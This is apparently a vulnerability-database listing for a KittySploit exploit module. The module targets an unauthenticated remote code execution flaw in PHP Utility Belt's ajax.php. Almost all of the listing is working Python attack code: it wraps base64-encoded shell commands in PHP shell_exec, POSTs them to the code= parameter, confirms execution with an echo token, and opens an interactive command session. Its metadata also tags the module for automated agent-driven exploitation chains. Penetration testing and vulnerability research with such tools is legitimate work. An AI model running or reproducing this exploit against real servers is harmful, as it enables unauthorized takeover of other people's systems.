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PHP Utility Belt - ajax.php RCE

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated RCE in PHP Utility Belt via ajax.php code= parameter evaluation.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHP Utility Belt ajax.php RCE — opens execute session."""

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'PHP Utility Belt - ajax.php RCE',
        'description': (
            'Exploits PHP Utility Belt by evaluating PHP via ajax.php code= parameter. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/39554/'],
        'tags': ['php', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/php_utility_belt_rce_detect'],
            },
        },
    }

    base_path = OptString('', 'Optional base path (e.g. /php-utility-belt)', required=False)

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip().rstrip('/')
        if base and not base.startswith('/'):
            base = '/' + base
        return base

    def execute(self, cmd: str) -> str:
        b64 = base64.b64encode(str(cmd).encode()).decode()
        # echo shell_exec(base64_decode(...))
        php = f'echo shell_exec(base64_decode("{b64}"));'
        from urllib.parse import quote
        data = 'code=' + quote(php, safe='')
        r = self.http_request(
            method='POST',
            path=f'{self._prefix()}/ajax.php',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        token = self.random_text(8)
        body = self.execute(f'echo {token}')
        if token in (body or ''):
            return {'vulnerable': True, 'reason': 'PHP Utility Belt RCE confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No echo output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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10 Aug 2026 06:19Current
6Medium risk
Vulners AI Score6
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